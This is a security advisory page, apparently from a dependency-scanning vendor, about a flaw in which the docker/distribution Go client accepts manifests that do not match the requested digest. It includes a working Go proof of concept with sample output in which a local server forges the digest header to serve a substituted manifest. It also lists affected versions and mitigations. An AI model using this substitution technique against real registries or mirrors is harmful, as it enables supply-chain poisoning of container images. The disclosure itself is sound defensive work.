Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐹
🐹 Go
Not in CISA KEV
MEDIUM severity

Distribution: Client `manifests.Get()` does not verify returned content against requested digestGHSA-685w-q87j-wqw3

MEDIUMFix: distribution/distribution@8f91c26

GHSA-685w-q87j-wqw3 is a medium-severity (CVSS 6.8) CWE-354 vulnerability in github.com/docker/distribution. A fix is available for github.com/docker/distribution — see the affected versions and patch details below.

Also known asBIT-distribution-2026-85747CVE-2026-85747
Published
Updated
Affected
2 pkgs
Patched
1 / 2
Exploits
None indexed
Exploitation data as of Oct 22, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for GHSA-685w-q87j-wqw3.

EPSS Exploitation Probability

via FIRST.org ↗
0.2%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs11th percentile — riskier than 11% of all scored CVEsHighest risk

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

GHSA-685w-q87j-wqw3 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.

Where this sits among everything scored

Of 394,803 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.

Real-World Exposure

2 pkgs affected
🐹github.com/docker/distribution🐹github.com/distribution/distribution/v3

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

registry/client.(*manifests).Get(ctx, dgst, …) fetches a manifest by digest but never hashes the returned body and compares it against the requested digest. A malicious or compromised registry, or any MITM on the registry connection, can serve arbitrary manifest bytes in response to a digest-pinned request and the client returns the substituted content transparently to the caller. Any application relying on digest pinning for supply-chain integrity — image policy controllers, mirrors, pull-through caches — is silently undermined. The bundled pull-through proxy (registry/proxy/proxymanifeststore.go) is itself an unguarded consumer and is directly exploitable.

Details

Root cause: registry/client/repository.go:488-505 reads the response body and passes it directly to distribution.UnmarshalManifest without ever computing digest.FromBytes(body) and comparing against the caller-supplied dgst. The Docker-Content-Digest response header is parsed (lines 251-292 in descriptorFromResponse) only to populate an out-parameter (ReturnContentDigest) and is itself server-supplied — it is never recomputed from the body, so a lying server can set it to whatever value the caller requested while delivering different bytes.

Attack path: An attacker who controls the registry endpoint (malicious registry, compromised upstream, DNS hijack, or TLS MITM) responds to GET /v2/{name}/manifests/{digest} with:

  1. Docker-Content-Digest: <requested-digest> (forged header)
  2. A body containing a different, attacker-chosen manifest

The client calls distribution.UnmarshalManifest on the substituted body, returns the attacker's manifest as if it were the pinned content, and the caller has no way to detect the substitution.

Why it matters: The entire value of digest pinning is to guarantee content-addressable integrity against exactly this threat model (hostile or MITM server). The registry/proxy/proxymanifeststore.go:42-87 pull-through cache calls remoteManifests.Get(ctx, dgst) and immediately writes the result to local storage with no re-verification — so a poisoned remote can permanently inject a bad manifest into the mirror cache, affecting all subsequent consumers.

Relevant code path (repository.go, simplified):

// line ~496
func (ms *manifests) Get(ctx context.Context, dgst digest.Digest, options ...distribution.ManifestServiceOption) (distribution.Manifest, error) {
    ...
    resp, err := ms.client.Get(u)
    ...
    body, err := ioutil.ReadAll(resp.Body)  // no size limit, no digest check
    ...
    m, _, err := distribution.UnmarshalManifest(ct, body)  // returns attacker bytes
    return m, err
}

PoC

go.mod:

module poc

go 1.24.10

require (
        github.com/distribution/reference v0.6.0
        github.com/docker/distribution v2.8.3+incompatible
        github.com/opencontainers/go-digest v1.0.0
)

require (
        github.com/beorn7/perks v1.0.1 // indirect
        github.com/docker/go-metrics v0.0.1 // indirect
        github.com/docker/libtrust v0.0.0-20160708172513-aabc10ec26b7 // indirect
        github.com/golang/protobuf v1.3.2 // indirect
        github.com/gorilla/mux v1.8.1 // indirect
        github.com/matttproud/golang_protobuf_extensions v1.0.1 // indirect
        github.com/opencontainers/image-spec v1.1.1 // indirect
        github.com/prometheus/client_golang v1.1.0 // indirect
        github.com/prometheus/client_model v0.0.0-20190129233127-fd36f4220a90 // indirect
        github.com/prometheus/common v0.6.0 // indirect
        github.com/prometheus/procfs v0.0.3 // indirect
        github.com/sirupsen/logrus v1.9.4 // indirect
        golang.org/x/sys v0.13.0 // indirect
)

main.go:

// PoC: registry/client manifests.Get() does not verify the requested digest
// against the returned body. A malicious registry (or MITM) can serve
// arbitrary content for a digest-pinned manifest reference and the client
// will accept it.
package main

import (
        "context"
        "fmt"
        "net/http"
        "net/http/httptest"

        "github.com/distribution/reference"
        "github.com/docker/distribution/manifest/schema2"
        "github.com/docker/distribution/registry/client"
        "github.com/opencontainers/go-digest"
)

// A real, "trusted" manifest the user pinned by digest.
var trustedManifest = []byte(`{
   "schemaVersion": 2,
   "mediaType": "application/vnd.docker.distribution.manifest.v2+json",
   "config": {"mediaType": "application/vnd.docker.container.image.v1+json","size": 1,"digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"},
   "layers": []
}`)

// A different, attacker-controlled manifest the malicious server returns instead.
var evilManifest = []byte(`{
   "schemaVersion": 2,
   "mediaType": "application/vnd.docker.distribution.manifest.v2+json",
   "config": {"mediaType": "application/vnd.docker.container.image.v1+json","size": 1,"digest": "sha256:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee"},
   "layers": []
}`)

func main() {
        pinnedDigest := digest.FromBytes(trustedManifest)
        evilDigest := digest.FromBytes(evilManifest)
        fmt.Println("client requests manifest pinned at:", pinnedDigest)
        fmt.Println("server will instead return content :", evilDigest)

        srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
                // Lie: claim the digest matches what was asked, but serve evil bytes.
                w.Header().Set("Content-Type", schema2.MediaTypeManifest)
                w.Header().Set("Docker-Content-Digest", pinnedDigest.String())
                w.WriteHeader(200)
                w.Write(evilManifest)
        }))
        defer srv.Close()

        name, _ := reference.WithName("library/alpine")
        repo, err := client.NewRepository(name, srv.URL, http.DefaultTransport)
        if err != nil {
                panic(err)
        }
        ms, _ := repo.Manifests(context.Background())

        // Fetch by *digest* — caller expects content-addressed integrity.
        m, err := ms.Get(context.Background(), pinnedDigest)
        if err != nil {
                fmt.Println("Get error:", err)
                return
        }
        _, payload, _ := m.Payload()
        got := digest.FromBytes(payload)

        if got != pinnedDigest {
                fmt.Println()
                fmt.Println(">>> BYPASS: client accepted manifest that does NOT match requested digest")
                fmt.Println("    requested:", pinnedDigest)
                fmt.Println("    received :", got)
        } else {
                fmt.Println("OK: digest verified")
        }
}

Output (v2.8.3+incompatible):

client requests manifest pinned at: sha256:224a436131519692201bd7adb1ab9f9cd95ce26ed21ec70e49972dfd222726de
server will instead return content : sha256:a44b526191ae3f0aa16022abcb7fc1103c23534682c39a2dbe18a5a52fc5002e

>>> BYPASS: client accepted manifest that does NOT match requested digest
    requested: sha256:224a436131519692201bd7adb1ab9f9cd95ce26ed21ec70e49972dfd222726de
    received : sha256:a44b526191ae3f0aa16022abcb7fc1103c23534682c39a2dbe18a5a52fc5002e

Impact

Any application that calls registry/client.(*manifests).Get() with a digest argument — and relies on that digest to guarantee which image content it receives — is affected. This includes image policy controllers that enforce allowed digests, pull-through cache/mirror implementations (including the bundled registry/proxy), and any CI/CD tooling that pins images by digest for reproducibility or security.

An attacker who controls or can MITM the registry endpoint can substitute arbitrary manifest content — changing image layers, entrypoints, or referenced blobs — and the client will accept and act on the substituted content without warning. The bundled pull-through proxy will cache and re-serve the poisoned manifest to all downstream clients.

Exploitation requires either control of the registry endpoint the victim is configured to use, or a MITM/TLS-breaking position on that connection. No authentication is needed beyond whatever the registry normally requires.

Affected Packages

2 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/docker/distributionall versionsNo fix
🐹Gogithub.com/distribution/distribution/v3all versions3.1.2go get github.com/distribution/distribution/v3@v3.1.2

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/docker/distribution, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    No patched version of github.com/docker/distribution has shipped for GHSA-685w-q87j-wqw3 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

Frequently Asked Questions

### Summary `registry/client.(*manifests).Get(ctx, dgst, …)` fetches a manifest by digest but never hashes the returned body and compares it against the requested digest. A malicious or compromised registry, or any MITM on the registry connection, can serve arbitrary manifest bytes in response to a digest-pinned request and the client returns the substituted content transparently to the caller. Any application relying on digest pinning for supply-chain integrity — image policy controllers, mirrors, pull-through caches — is silently undermined. The bundled pull-through proxy (`registry/proxy/p
O3 Security · Impact-Aware SCA

Is GHSA-685w-q87j-wqw3 in your dependencies?

Find it across Go, including transitive dependencies.

Distribution: Client `manifests.Get()` does not verify…